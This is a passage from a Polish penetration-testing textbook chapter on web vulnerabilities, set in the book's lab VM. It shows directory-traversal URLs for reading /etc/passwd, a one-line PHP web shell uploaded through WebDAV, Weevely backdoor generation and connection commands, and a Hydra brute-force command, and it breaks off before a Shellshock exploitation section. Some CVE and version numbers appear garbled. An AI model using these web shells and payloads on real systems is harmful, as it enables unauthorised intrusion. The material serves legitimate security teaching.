Nmap done: 1 IP address (1 host up) scanned in 2.26 seconds 'apache/2.4.20 (debian)'

W pierwszym momencie możesz pomyśleć, że to wygląda podobnie do informacji zebranych

w rozbudowanym procesie skanowania programem Nmap oraz informacji z raportu programu
Nikto. Tutaj jednak najważniejsza jest metoda zbierania tych informacji. Zgadywanie treści to coś
zupełnie innego niż proste wypisanie zawartości katalogu, ponieważ pozwala ono na wykrycie tre-
ści, które miały pozostać ukryte. Nasz skrypt programu Nmap jest zatem świetnym narzędziem do
enumerowania katalogów i plików o typowych nazwach.

Przeszukiwanie katalogów
Dirb to całkowicie niezależne narzędzie przeznaczone do siłowego wykrywania tak zwanych ukrytych
treści. Można mu wskazać wybrany serwer WWW działający na porcie 80, używając do tego nastę-
pującego polecenia: dirb http://<AdresIP>. W przypadku idealnym (z punktu widzenia hakera) pro-
gram wypisze całą listę zasobów, o których istnieniu do tej pory nie wiedzieliśmy. Jeżeli skierujesz
program Dirb na port 80 laboratorium przygotowanego dla tej książki, to w wyniku otrzymasz wy-
druk podobny do tego, co widzieliśmy już w przypadku innych programów, dlatego nie będziemy
zaśmiecać stron kolejną listą nazw plików i katalogów. Zachęcamy do eksperymentowania z tymi i in-
nymi narzędziami wykonującymi podobne zadania, takimi jak Gobuster (github.com/OJ/gobuster).

3681988c430c7fe1e8567c4e2f281f7b
3
Ukryte treści 235

Z całą pewnością zauważysz różnice w działaniu tych narzędzi. Niektóre z nich mogą działać bardziej
skutecznie w starciu z wybranymi technologiami serwerów WWW.
Gdy uzyskasz już listę nieznanych wcześniej katalogów, spróbuj przejrzeć ich zawartość. Celem
tego ćwiczenia jest sprawdzenie, czy dany katalog udostępnia jakieś szczególnie przydatne infor-
macje lub interfejsy, które nie powinny być dostępne publicznie. Na początek warto zainteresować się
plikiem /README. Na naszej liście z poprzedniego wydruku znajduje się też plik /config/README
oraz plik phpinfo.php. Żaden z tych plików nie powinien być tak łatwo dostępny na produkcyjnym
i publicznym serwerze WWW. W takich plikach często zapisane są rodzaje oprogramowania oraz
numery ich wersji, co umożliwia wyszukiwanie odpowiednich exploitów za pomocą takich narzę-
dzi jak Searchsploit.

Podatności związane z przejściem po katalogach

Rozpatrując to na najniższym poziomie: serwer WWW zajmuje się tylko przesyłaniem plików za-
pisanych w katalogu na danym komputerze. Pliki obsługiwane przez taki serwer mogą się znajdować
w katalogu /etc/apache/www/. Gdy użytkownik przesyła żądanie zawierające adres URL taki jak
http://przyklad.com/index.html, to serwer odwołuje się do lokalnej ścieżki /etc/apache/www/index.html
i z niej odczytuje plik. Użytkownik przeglądarki nie powinien znać struktury katalogów na serwe-
rze i wcale nie potrzebuje tej wiedzy. Jednocześnie serwer WWW nie powinien umożliwiać dostępu
do plików spoza katalogu /etc/apache/www. Niestety znaleziono już wiele błędów w oprogramo-
waniu różnych serwerów, które umożliwiały taki dostęp.
W rozdziale 4. „Zbieranie danych z otwartych źródeł” zaprezentowaliśmy pomysł ujawniania
zawartości pliku /etc/passwd istniejącego w systemach uniksowych za pomocą prostego adresu
URL. Istnieją jednak inne metody uzyskania tego samego efektu. Jedną z nich jest wykorzystanie
ataku przechodzenia przez katalogi (ang. directory traversal attack). Słowo atak powoduje, że całość
sprawia wrażenie skomplikowanej procedury, choć wcale tak nie jest. Przyjrzyjmy się przykładowi
wykorzystania takiego błędu.
Gdy na swoim komputerze zmieniasz aktualny katalog w wierszu poleceń, to używasz pole-
cenia cd. Na przykład polecenie cd /home/hacker/ksiazka spowoduje zmianę aktualnego katalogu
na /home/hacker/ksiazka. Jeżeli teraz chcielibyśmy edytować plik o nazwie notatki.txt znajdujący
się w katalogu /home/hacker, to zamiast ponownie zmieniać aktualny katalog, możesz użyć polece-
nia nano ../notatki.txt. Jest to możliwe, ponieważ dwie kropki przed ukośnikiem (../) oznaczają
odwołanie się do katalogu o poziom wyżej (natomiast zapis z jedną kropką ./ oznacza aktualny
katalog). Taki zapis może zadziałać też w przypadku serwera WWW. Ze względu na to, że strony
i inne zasoby są jedynie plikami zapisanymi w katalogach w systemie uniksowym, czasami udaje
się użyć tych zapisów, aby uzyskać dostęp do plików, które nigdy nie miały być dostępne poprzez
serwer WWW. Aby zacząć testowanie tej podatności, możesz spróbować wykorzystać adres URL
podobny do tego: http://przyklad.pl/../etc/passwd.
Zauważ, że jeżeli ten adres wpiszesz w przeglądarce, a nie w specjalizowanym narzędziu, takim
jak Netcat, to tak naprawdę nigdy nie wyślesz do serwera znaków ../, ponieważ przeglądarka
najpierw przeanalizuje zapisaną w adresie URL ścieżkę, a następnie usunie te znaki z żądania,
odpowiednio korygując ścieżkę. Serwer WWW mógłby jednak zinterpretować taki adres URL jako
część swojej lokalnej ścieżki, ponieważ zapis /etc/apache/www/../etc/passwd oznacza to samo co
/etc/apache/etc/passwd. Taki plik prawdopodobnie nie istnieje, a zatem w odpowiedzi otrzymalibyśmy

3681988c430c7fe1e8567c4e2f281f7b
3
236 Rozdział 7  Sieć WWW pełna podatności

tylko informację o błędzie. Spróbujmy jednak dodać do adresu jeszcze jeden zestaw dwóch kropek:
http://przyklad.pl/../../etc/passwd.
Tym razem serwer WWW przekształci ten adres URL w lokalną ścieżkę o postaci /etc/etc/passwd.
No, już prawie, ale to jednak nadal nie to. Musimy dopisać do adresu URL kolejną parę kropek:
http://przyklad.pl/../../../etc/passwd.
Tym razem serwer będzie próbował uzyskać dostęp do pliku /etc/passwd, a jeżeli będzie podatny
na taki atak, to może nawet wyświetli nam jego zawartość. Istnieje wiele różnych wariantów tego
ataku, które stosują różne sposoby kodowania nazwy ścieżki, ale wszystkie one działają na bardzo
podobnej zasadzie. W rozdziale 4. widzieliśmy, jak można uzyskać dostęp do niepublicznych plików
za pomocą specjalnych adresów URL w postaci www.przyklad.pl/documentid=/etc/passwd.
Takie rozwiązanie może zadziałać w jednej witrynie, a w innej konieczne może być przechodzenie
kolejnych katalogów, na przykład w ten sposób: www.przyklad.pl/documentid=../../../../../etc/passwd.
Ta metoda prób i błędów może zostać wykorzystana na dowolnym celu i dowolnej liczbie wraż-
liwych plików, takich jak config.php lub inne pliki konfiguracyjne. Znajomość systemu operacyj-
nego, serwera WWW oraz działających na danym komputerze języków skryptowych oraz innych
rodzajów oprogramowania daje wiele informacji o tym, gdzie należy szukać takich plików w sys-
temie. Więcej informacji na temat ataku przechodzenia przez katalogi znajdziesz w rozdziale
12. „Aplikacje sieciowe”.

Może się wydawać, że wykorzystywanie takich podatności jak przechodze-

nie przez katalogi albo manipulowanie parametrami w adresach URL nie wiąże się z poważ-
nymi konsekwencjami prawnymi. To jednak złudne, a za tak proste błędy w przeszłości
aresztowano już niejednego badacza zabezpieczeń, czego przykładem może być Daniel
Cuthbert. Nawet najprostsza zmiana adresu URL może zostać uznana za nielegalną próbę
uzyskania dostępu do systemu lub sieci, a to w wielu krajach uznawane jest za działanie
nielegalne. Zalecamy zatem ćwiczyć te techniki na własnych maszynach wirtualnych, takich
jak laboratorium przygotowane na potrzeby tej książki. Lepiej nie bawić się w ten sposób
publicznymi serwerami bez uprzedniego uzyskania pozwolenia od ich właścicieli.

Przesyłanie plików
Jednym z typowych sposobów przesyłania plików na zdalny serwer jest użycie protokołu FTP (File
Transfer Protocol). Dzisiaj ten protokół jest już coraz rzadziej używany, a większość firm stosuje
raczej metody przesyłania bezpośrednio do serwera WWW. Jedną z takich metod jest użycie sys-
temu zarządzania treściami (ang. content management system — CMS). Do programów tej katego-
rii zaliczane są WordPress, Hoomla, Drupal i inne. Systemy CMS to całkowicie niezależne aplikacje
sieciowe, które zwykle używają własnej bazy danych do przechowywania treści. Typowa dzisiejsza
firma może korzystać z systemu CMS do codziennego wprowadzania w swojej oficjalnej witrynie
zmian, takich jak dodanie kilku nowych produktów w sklepie, napisanie nowej notatki do bloga
itp. Istnieje jednak wiele innych technologii, które mogą spełniać podobną rolę, umożliwiając użyt-
kownikom przesłanie plików na serwer albo edytowanie treści na tym serwerze.

3681988c430c7fe1e8567c4e2f281f7b
3
Przesyłanie plików 237

WebDAV
Po wcześniejszym przeskanowaniu programem Nmap laboratorium dołączanego do tej książki
z pewnością zauważysz długą listę plików i katalogów. Uzyskanie tej listy było możliwe, ponieważ
na tym serwerze są dostępne funkcje WebDAV. Jeżeli natrafisz kiedyś na serwer obsługujący te
funkcje, to możesz spróbować połączyć się z nim za pomocą takich narzędzi jak Cadaver, które są
po prostu klientem WebDAV działającym w wierszu poleceń. Co więcej, klient WebDAV jest już
wbudowany w większość nowoczesnych systemów operacyjnych. Jeżeli używasz systemu Microsoft
Windows, to możesz użyć polecenia net use x: http://192.168.48.101/, aby utworzyć mapowa-
nie serwera WWW w swoim systemie plików jako napędu X:. Takie działanie jest bardzo wygodne
zarówno dla wydawców, jak i hakerów, ponieważ umożliwia wykorzystanie funkcji WebDAV do
łatwego przesyłania plików zarówno na serwer, jak i z niego. Aby połączyć się z naszym laborato-
rium, wystarczy podać programowi Cadaver jego adres IP: cadaver <AdresIP>. Po nawiązaniu po-
łączenia zobaczysz znak zachęty dav:/>, w którym można na przykład wpisać polecenie ls. Teraz
możesz już przeglądać listy plików, pobierać te pliki i próbować przesyłać własne pliki na serwer.
Nasze laboratorium jest podatne na ten atak, dlatego można go używać do prowadzenia ekspery-
mentów. Najpierw spróbuj przygotować prosty plik PHP (mamy już wiele wskazówek świadczących
o tym, że na serwerze jest dostępny język PHP), używając do tego swojego edytora tekstu. Na po-
czątek nazwijmy ten plik test.php. W utworzonym pliku musisz wpisać tylko jeden wiersz kodu:
<?php echo "Halo!"; ?>

Teraz możesz spróbować przesłać ten plik na serwer, używając do tego polecenia PUT. Za zna-
kiem zachęty wystarczy wpisać PUT test.php. (Możesz też spróbować usunąć swój lub inny
plik za pomocą polecenia del). Na ekranie powinny pojawić się następujące komunikaty:
Uploading test.php to `/test.php'
Progress: [===>] 110.0% of 23 bytes succeeded.

Teraz możesz otworzyć w przeglądarce właśnie przesłaną stronę. Plik został umieszczony
w katalogu głównym serwera, a zatem wystarczy użyć adresu URL w postaci: http://<AdresIP>/test.php.
W oknie przeglądarki powinien pojawić się przygotowany w pliku komunikat. Oznacza to, że ser-
wer nie tylko pozwolił nam przesłać spreparowany plik, ale też uruchomił znajdujący się w tym
pliku kod PHP. Jeżeli taka sytuacja będzie miała miejsce na jednym z serwerów Twojego klienta,
może oznaczać poważne problemy!
Następnym krokiem powinna być próba przesłania czegoś ambitniejszego, na przykład takiego
kodu: <?php system($_GET[cmd]); ?>. Zmień zawartość wcześniejszego pliku i jeszcze raz prześlij go
na serwer. Teraz spróbuj użyć w przeglądarce tego adresu URL: http://<AdresIP>/test.php?cmd=id.
Podany adres URL jest próbą wykonania polecenia id znanego z systemu Linux lub Unix za po-
średnictwem skryptu PHP wywołującego funkcję system. Zmienna globalna $_GET wykorzysty-
wana jest do pobierania parametrów i ich wartości, które są dołączane do żądania GET. Jak widać,
takie rozwiązania bywają bardzo użyteczne, ale też niebezpieczne, ponieważ teraz każdy może uru-
chamiać systemowe polecenia na serwerze WWW, czego dowodzi rysunek 7.3. Widać tutaj, że po
uruchomieniu polecenia id jego wyniki zostały odesłane do przeglądarki:

3681988c430c7fe1e8567c4e2f281f7b
3
238 Rozdział 7  Sieć WWW pełna podatności

Rysunek 7.3. Polecenie id uruchomione poprzez skrypt PHP

Mamy już metodę wykonywania poleceń na tym serwerze, która wykorzystuje mały skrypt
PHP. W przeszłości hakerzy, który znajdowali możliwość przesyłania plików na podatny serwer,
wykorzystywali ją do modyfikowania jak największej liczby witryn. I robili to wyłącznie dla własnej
przyjemności i uznania innych hakerów. Jeżeli jednak mamy dodatkowo możliwość wykonywania
dowolnych poleceń w systemie operacyjnym, to nasze możliwości stają się znacznie większe niż
proste modyfikacje wprowadzane na stronach WWW. Nie należy jednak prowadzić takich ekspe-
rymentów na serwerach swojego klienta, ponieważ zawsze istnieje możliwość, że ktoś inny znajdzie
Twój plik PHP i wykorzysta go do własnych celów. Radzimy zatem zawsze chronić takie ekspery-
menty za pomocą hasła, co uniemożliwi ich użycie przez osoby trzecie. Poza tym przekazywanie
w adresie URL długiej listy poleceń jest niewygodne. Znacznie przyjemniej byłoby, gdybyśmy mieli
do dyspozycji powłokę na zdalnym hoście.

Weevely, czyli sieciowa powłoka

Można co prawda napisać własną powłokę w PHP, ale na szczęście nie musimy tego robić, ponie-
waż całą pracę wykonał już ktoś inny. Niemniej tworzenie własnego projektu tego typu z pewnością
byłoby bardzo pouczające. Jednym z narzędzi, których można użyć w tym celu, jest Weevely. Two-
rzy ono zaciemniony plik PHP, który po przesłaniu na zdalny host otwiera tylną furtkę umożliwia-
jącą nam wykonywanie poleceń. Po uruchomieniu tego programu bez żadnych parametrów (wpi-
sując po prostu weevely), otrzymasz skróconą instrukcję użytkowania:
[+] weevely 3.7.0
[!] Error: too few arguments

[+] Run terminal or command on the target

weevely <URL> <password> [cmd]

[+] Recover an existing session

weevely session <path> [cmd]

[+] Generate new agent

weevely generate <password> <path>

Najpierw trzeba wygenerować nowego agenta, używając do tego polecenia generate, i podać
mu hasło (w poniższym przykładzie używamy hasła h4x0r) oraz nazwę pliku, w którym chcesz
umieścić kod. Jeżeli nie musimy być szczególnie subtelni, to możemy wykorzystać plik o miłej na-
zwie backdoor.php. W większości przypadków lepiej jest jednak użyć nazwy, która będzie mniej

3681988c430c7fe1e8567c4e2f281f7b
3
Przesyłanie plików 239

rzucać się w oczy. Nie należy też nadpisywać istniejących już plików, dlatego przed przesłaniem
własnego pliku zawsze trzeba sprawdzać, czy plik o takiej nazwie już istnieje!
weevely generate h4x0r backdoor.php

Następnie trzeba użyć programu Cadaver, aby przesłać plik backdoor.php na serwer, podobnie
jak zrobiliśmy to z plikiem test.php. Po przesłaniu agenta na serwer można wrócić do programu
Weevely i sprawdzić, czy komunikacja już działa. Tym razem trzeba podać w parametrze adres
URL oraz hasło:
weevely http://<AdresIP>/backdoor.php h4x0r

Na ekranie powinny pojawić się komunikaty podobne do poniższych:

[+] weevely 3.7.0

[+] Target: 192.168.48.101

[+] Session: /root/.weevely/sessions/192.168.56.101/backdoor_1.session

[+] Browse the filesystem or execute commands starts the connection

[+] to the target. Type :help for more information.

weevely>

Teraz masz do dyspozycji znak zachęty weevely> i możesz zacząć wprowadzać polecenia. Pole-
cenie id zwróci w odpowiedzi następujące informacje:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@webserver01:/var/www $

Teraz znak zachęty zawiera znajomy znak dolara ($). Nie mamy tutaj pełnej powłoki znanej
z systemów uniksowych, a jedynie jej emulację przygotowaną w języku PHP. Zachowuje się ona
tak samo jak zwykła powłoka, ale nie można zapominać, że to jedynie emulacja, a zatem nie znaj-
dziesz tu funkcji dostępnych w typowych powłokach, takich jak sterowanie zadaniami albo zdalny
interfejs terminala. Emulacja jest też ograniczana przez bezstanową naturę protokołu http. Pamię-
taj, że wszystkie polecenia są wykonywane przez język PHP, który jest językiem skryptowym dzia-
łającym na serwerze. To poważna różnica w stosunku do powłok, jakie widzieliśmy wcześniej,
na przykład tych, które uzyskaliśmy za pomocą exploitów z frameworku Metasploit. Z tego po-
wodu próby podniesienia swoich uprawnień raczej nie zadziałają w takiej emulowanej powłoce.
Aby wykorzystać kolejne exploity, lepiej jest zatem ręcznie utworzyć sobie powłokę w programie
Netcat. Interfejs udostępniany przez Weevely świetnie nadaje się jednak do przeglądania systemu
plików serwera w poszukiwaniu dodatkowych informacji.
Aby dowiedzieć się, co jeszcze można zrobić z programem Weevely, możesz użyć polecenia
:help. Możliwości jest tutaj wiele, bo program umożliwia też przygotowanie skanera portów albo
rozbudowanej tylnej furtki, która pozwala uzyskać pełny dostęp do powłoki. Wykorzystanie funk-
cji WebDAV to tylko jeden ze sposobów umieszczania plików w zdalnym systemie. Istnieje też
wiele innych metod. Należy przy tym pamiętać, że dzięki możliwości przesłania własnego pliku na
atakowany komputer uzyskujemy całkowicie nowy zbiór możliwości hakowania. W serwerze
WWW nie ma prawa istnieć możliwość przesyłania plików i wykonywania kodu przez jakąkolwiek
anonimową osobę z internetu. Istnienie takiej luki należy uznać za błąd krytyczny, o którym należy
natychmiast poinformować swojego klienta.

3681988c430c7fe1e8567c4e2f281f7b
3
240 Rozdział 7  Sieć WWW pełna podatności

Uwierzytelnianie HTTP
Protokół HTTP zawiera funkcje umożliwiające podstawowe uwierzytelnianie użytkowników, co
uniemożliwia dostęp do wybranych zasobów osobom bez odpowiednich uprawnień. Próba przej-
ścia do katalogu /private w naszym laboratorium pokazuje, jak działa ten sposób uwierzytelniania.
Wykorzystywane jest tutaj specjalne okno dialogowe z prośbą o podanie nazwy użytkownika i ha-
sła, takie jak na rysunku 7.4. Z pewnością każdy spotkał się już z tą formą uwierzytelniania.

Rysunek 7.4. Okno uwierzytelniania HTTP

Jeżeli ręcznie wyślesz żądanie GET wskazujące katalog /private, to w odpowiedzi otrzymasz
podany niżej zestaw nagłówków. Możesz się o tym przekonać, wysyłając żądanie GET w progra-
mie Netcat.
HTTP/1.1 401 Authorization Required
Date: Tue, 26 Feb 2019 15:13:55 GMT
Server: Apache/2.2.21 (Debian)
WWW-Authenticate: Basic realm="Keep out"
Vary: Accept-Encoding
Content-Length: 481
Connection: close
Content-Type: text/html; charset=iso-8859-1

Ta odpowiedź będzie miała też treść, ale teraz interesują nas wyłącznie wyróżnione wiersze:
komunikat 401 Authorization Required oraz nagłówek WWW-Aythenticate, w którym znajduje się
parametr Basic realm="Keep out". Przeglądarka doskonale wie, jak należy zinterpretować taką
odpowiedź, dlatego zazwyczaj wyświetla okno dialogowe z prośbą o podanie nazwy użytkownika
i hasła — takie jak pokazane na rysunku 7.4. Po wprowadzeniu tych danych przez użytkownika
przeglądarka wyśle kolejną odpowiedź o następującej treści:
GET /private HTTP/1.1
Host: 192.168.48.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Basic dGVzdDp0ZXN0

3681988c430c7fe1e8567c4e2f281f7b
3
Technologia CGI 241

I tutaj również możemy próbować ręcznie wysłać to żądanie za pomocą programu Netcat. Nie
musisz tu wprowadzać wszystkich nagłówków, które normalnie stosuje przeglądarka. Najważniej-
szym wierszem jest tutaj nagłówek Authorization. Wartość Basic podaje rodzaj uwierzytelniania,
jaki został w tym przypadku użyty, z kolei znajdujący się za nią ciąg znaków składa się z nazwy
użytkownika oraz hasła, czyli danych wprowadzonych przez użytkownika. Aby uwypuklić problem
związany z tą metodą uwierzytelniania, wystarczy wprowadzić poniższe polecenie:
echo dGVzdDp0ZXN0 | base64 --decode

Jak widać, nazwa użytkownika oraz hasło nie są szyfrowane. Zostają poddane wyłącznie kodo-
waniu (przy użyciu algorytmu base64), co oznacza, że osoba, która zdoła przechwycić ten komu-
nikat, może bardzo prosto odczytać te dane z jego treści. Zadziwiające jest to, jak często kodowanie
używane jest w miejscach, gdzie należałoby użyć szyfrowania. Pamiętaj, że nawet jeżeli dane wy-
glądają jak zaszyfrowane, to wcale nie muszą takimi być! Pamiętaj też, że używamy tu protokołu
HTTP, a nie HTTPS, a zatem wszystko jest przesyłane jawnym tekstem i jest dostępne dla każ-
dego hakera korzystającego z takich programów jak Wireshark. W dokumencie RFC-2069 rozbu-
dowano metody uwierzytelniania HTTP, dodając do nich metodę „digest”, która wykorzystuje pro-
cedurę polegającą na przesyłaniu wezwania i odpowiedzi. Kodowanie w żaden sposób nie podnosi
bezpieczeństwa przesyłanego hasła względem wysłania go jawnym tekstem. Jedyna zaleta polega
na tym, że hasło nie zostanie od razu odczytane przez kogoś, kto pobieżnie przegląda przechwycone
pakiety. Do ataku na takie usługi można wykorzystać program Hydra, aby wykonać atak siłowy.
W tym przypadku podajemy od razu niezbędne dane uwierzytelniające, ale w rzeczywistych przy-
padkach należałoby raczej podać w opcjach -L i -P nazwy plików zawierających listy możliwych
wartości haseł.
hydra -l private -p private http-get://<AdresIP>/private

Technologia CGI
CGI (Common Gateway Interface) to technologia, która ma umożliwić serwerowi uruchomienie
wybranych programów i wyświetlenie wyników ich pracy na stronie WWW. Technologia CGI jest
znacznie starsza od wielu koncepcji, jakie wymyślono na potrzeby sieci WWW 2.0. Była jedną
z pierwszych technologii, które umożliwiały tworzenie dynamicznych i interaktywnych stron
WWW. To ona umożliwiała tworzenie pierwszych ksiąg gości (w latach 90. XX wieku w wielu wi-
trynach pojawiały się księgi gości, w których osoby odwiedzające te witryny mogły wpisywać swoje
komentarze, pochwały i inne) oraz innych elementów generowanych przede wszystkim za pomocą
skryptów języka Perl. W tamtych czasach w sieci WWW panował całkowity chaos. Same strony
wyglądały fatalnie, a ich bezpieczeństwo… cóż, czegoś takiego po prostu nie było.
W przeciwieństwie do serwerowych języków skryptowych, takich jak PHP (który wykonuje
swój kod, przekazując go do interpretera), technologia CGI umożliwiała wykonywanie poleceń
bezpośrednio w systemie operacyjnym. Skrypty CGI działały tak, jakbyśmy ręcznie uruchamiali
wybrane programy w powłoce systemu, będąc użytkownikiem zalogowanym w tym systemie. Ta
funkcja umożliwiała wykorzystywanie programów napisanych na przykład w języku Perl jako ele-
mentów działających w sieci WWW. Technologia CGi jest prekursorem dzisiejszych skryptowych

3681988c430c7fe1e8567c4e2f281f7b
3
242 Rozdział 7  Sieć WWW pełna podatności

języków serwerowych, takich jak PHP lub ASP.NET, a nawet takich języków jak Java, które wszyst-
kie elementy zbierają w jednym kontenerze (lub maszynie wirtualnej).
Za pomocą manipulowania parametrami HTTP można i zawsze można było wprowadzać do-
datkowe parametry do tych programów, a co za tym idzie — wpływać na działanie skryptów CGI.
Zwykle celem takich manipulacji było uzyskanie dostępu do konta użytkownika root i całkowite
przejęcie serwera, choć atakujący potrafili wykorzystać każdą formę dostępu. Dzięki skryptom CGI
programiści mogli dodawać do swoich stron WWW nowe funkcje oraz dynamicznie generować
treści. Skrypty mogły pobierać różne parametry albo zapytania pochodzące od użytkowników, ta-
kie jak imię użytkownika lub ustawienia wyboru języka (czyli coś, co dzisiaj jest oczywiste). Każdy,
kto chciał prowadzić na swojej stronie forum, wysyłać z niej e-maile albo udostępniać prostą funk-
cję wyszukiwania, musiał korzystać ze skryptów CGI.
Mimo wielu znanych błędów oraz mimo podatności na wstrzykiwanie poleceń skrypty CGI nie
zniknęły całkowicie z internetu. Nadal istnieją różne ich formy, szczególnie często w systemach
osadzonych. Na przykład całkiem możliwe jest, że modem, który otrzymasz od swojego dostawcy
internetu, nadal używa skryptów CGI do modyfikowania ustawień z poziomu przeglądarki. W ser-
werze Apache istnieje moduł mod_cgi, który umożliwia korzystanie z programów CGI (zwykle na-
zywane są jednak skryptami, choć mogą też być pełnoprawnymi programami w postaci binarnej).
Technologia CGI używana jest też w systemach osadzonych oraz drobnych urządzeniach, ponieważ
umożliwia oszczędzenie miejsca potrzebnego do uruchomienia większych programów w języku
PHP lub Python.
Jeżeli jeszcze raz przejrzysz wyniki skanowania programu Nmap albo ponownie każesz mu
przeskanować usługę WWW w laboratorium tej książki, to zauważysz wpisy dotyczące katalogu
/cgi-bin/, w którym znaleziono kilka ciekawych skryptów. Jednym z tych skryptów jest program
o nazwie printenv, który można uruchomić przy użyciu ścieżki /cgi-bin/printenv. Sam program
wypisuje zmienne środowiskowe systemu i jako taki stanowi metodę wydobywania informacji
o niskim poziomie ryzyka. Nie można jednak zapominać, że informacje na temat środowiska sys-
temowego mogą zawierać pewne wrażliwe dane, takie jak hasła lub zmienne konfiguracyjne sys-
temu. Jest to szczególnie możliwe, jeżeli system wykorzystuje nowoczesne rozwiązania kontene-
rowe, takie jak Docker. Teraz zajmiemy się jednak innym rodzajem podatności, który jest związany
ze skryptami CGI.

Docker (www.docker.com) to jedno z wielu rozwiązań umożliwiających urucha-

mianie aplikacji (w tym i aplikacji sieciowych) w ramach izolowanego środowiska (konte-
nera), które zawiera wszystkie elementy programowe niezbędne do prawidłowego działa-
nia tej aplikacji. Zamiast wirtualizowania sprzętu oraz fizycznych hostów, tak jak robią to
maszyny wirtualne, Docker ogranicza się do wirtualizowania samego systemu operacyj-
nego, na którym jest zainstalowany. Aplikacje umieszczone w kontenerach powinny zawsze
działać tak samo, niezależnie od systemu operacyjnego oraz infrastruktury, na której zo-
staną uruchomione.

3681988c430c7fe1e8567c4e2f281f7b
3
Shellshock 243

Shellshock
Shellshock to nazwa rodziny podatności, która zaczyna się od CVE-2014-627. Ta pierwsza podat-
ność została załatana, ale wtedy Michał Zalewski odkrył, że przygotowana poprawka nie jest wy-
starczająca i szybko pojawiło się wiele bardzo podobnych błędów. Te nowe błędy zostały udoku-
mentowane pod kolejnymi numerami CVE. Podatność Shellshock dotyczy powłoki GNU bash,
która jest domyślną powłoką wielu różnych uniksowych systemów operacyjnych, w tym i Linuksa.
Oznacza to, że wykryta podatność istnieje w systemach działających na całym świecie, pod warun-
kiem że używają one interpretera bash do uruchamiania programów w powłoce. Na przykład pro-
gram CGI uruchamiany w wyniku żądania może zostać wykonany poprzez powłokę bash. Taka
podatność może zostać wykorzystana przez anonimowych użytkowników do przejęcia kontroli
nad serwerem. Wystarczy tylko spełnić kilka warunków. Konkretnie podatność wykorzystywana
przez Shellshock związana jest z przypisaniem wartości do zmiennej wykonywanym w powłoce
bash. Spójrz, proszę, na to polecenie:
a=1234

Przypisuje ono wartość 1234 do zmiennej a. Niestety w wyniku błędu związanego ze sposobem
przypisywania wartości do zmiennych, gdy w użyciu są znaki specjalne, wartość 1234 mogłaby zo-
stać wykonana jako osobne polecenie powłoki. To ma poważne implikacje, jeżeli program powłoki
jest uruchamiany poprzez interfejs CGI, ponieważ pozwala to na wykonanie polecenia umieszczo-
nego w zmiennej przesyłanej w żądaniu GET.

Bash to interpreter poleceń. Jego nazwa jest skrótem od „Bourne-again shell”,

co jest pewną grą słów. Jest też zaktualizowaną wersją powłoki Bourne’a, która powszech-
nie nazywana jest po prostu powłoką — shell lub sh. Powłoka Bourne’a została napisana
w 1979 roku przez Stephena Bourne’a na potrzeby systemu UNIX. Z kolei powłoka Bash jest
wynikiem prac Briana Foksa wykonanych w ramach projektu GNU. Przeglądając strony pod-
ręcznika man dla tej powłoki, bardzo często zobaczysz w niej skrót GNU, który jest spryt-
nym, rekursywnym skrótem od słów „GNU is not UNIX” (GNU to nie UNIX)! Oprogramowa-
nie tworzone w ramach projektu GNU jest darmowe i zawsze ma otwarte źródła, zupełnie
inaczej niż oprogramowanie własnościowe. Powłoki Bash i sh mają pewne wspólne ele-
menty, ale są całkowicie niezależnymi od siebie programami. Atak Shellshock nie ma
wpływu na powłokę sh i korzysta wyłącznie z powłoki bash. W swoim komputerze z syste-
mem Kali Linux zapewne używasz powłoki bash. Możesz to sprawdzić, wpisując w termi-
nalu polecenie printenv SHELL.

Shellshock jest przykładem podatności związanej z wykonywaniem poleceń, która dotyczy

wszystkich wersji powłoki bash aż do wersji 43-027. Istnieje kilka wariantów tego błędu, w których
wykorzystywane są różne sekwencje znaków specjalnych. Kroki niezbędne do wykorzystania tej
podatności zostały opisane w dokumencie CVE-2014-627. Po jego lekturze możesz poszukać pasu-
jących podatności i exploitów. Atak Shellshock nie jest też powiązany wyłącznie z usługami WWW,
bo można go wykorzystać wszędzie tam, gdzie powłoka bash używana jest do uruchamiania pro-
gramów i jednocześnie może przyjmować wartości parametrów wpisane przez użytkownika. Mimo
że ten błąd został wykryty w 2014 roku, nadal można się natknąć na niezałatane powłoki działające

3681988c430c7fe1e8567c4e2f281f7b
3
244 Rozdział 7  Sieć WWW pełna podatności

w systemach osadzonych lub nieaktualizowanych hostach działających w sieciach lokalnych. Gdy

wcześniej używaliśmy programu Nikto, to w wynikach jego pracy była informacja o podatności
Shellshock. Jeżeli jakieś narzędzie podaje informację o podatności, to zawsze należy ją ręcznie
sprawdzić, aby potwierdzić jej istnienie. W ten sposób można uniknąć umieszczania w raporcie
fałszywych informacji. Jedną z metod potwierdzania wykrytej podatności jest wykorzystanie fra-
meworku Metasploit wraz z odpowiednim modułem exploitu.

WSTRZYKIWANIE POLECEŃ

Podatności związane ze wstrzykiwaniem poleceń należy uznać za krytyczne, ponieważ umożli-

wiają one atakującemu uruchamianie dowolnych poleceń w systemie operacyjnym zaatakowa-
nego komputera. Jeżeli te polecenia są wykonywane w kontekście użytkownika root, to znaczy,
że atakujący ma pełną kontrolę nad komputerem. Nawet jeżeli polecenia są uruchamiane w ra-
mach konta zwykłego użytkownika (nie root), to i tak jest to swego rodzaju przyczółek zdobyty
przez atakującego. Wstrzykiwania poleceń nie traktuje się jako jednej podatności, ale raczej jako
całą klasę podatności.
Programy CGI cały czas zmagają się z problemem podatności na wstrzykiwanie poleceń, po-
nieważ ich zadaniem jest uruchamianie poleceń w systemie operacyjnym często na podstawie
informacji otrzymanych od użytkownika. Większość programistów wie już, że ufanie danym
otrzymanym od użytkownika jest bardzo naiwne, dlatego takie dane muszą zostać dokładnie
skontrolowane i oczyszczone przed użyciem.
W błędach wstrzykiwania poleceń duże znaczenie mają różne kodowania oraz znaki specjalne,
ponieważ to one umożliwiają atakującym unikanie kontroli stosowanych przez dany program,
omijanie zapór przygotowanych w aplikacjach i zmuszanie interpreterów do wykonywania nie-
dozwolonych działań. Już niedługo pokochasz takie znaki specjalne jak | ; ` ' & % $ [ ]( ),
podobnie jak i my je pokochaliśmy. Umieszczanie takich znaków w danych wejściowych pro-
gramu może spowodować, że ten zacznie działać inaczej, niż przewidywali to jego programiści.

Wykorzystywanie błędu Shellshock za pomocą Metasploita

Teraz sprawdzimy, jak można zaatakować system z podatnością Shellshock, używając do tego fra-
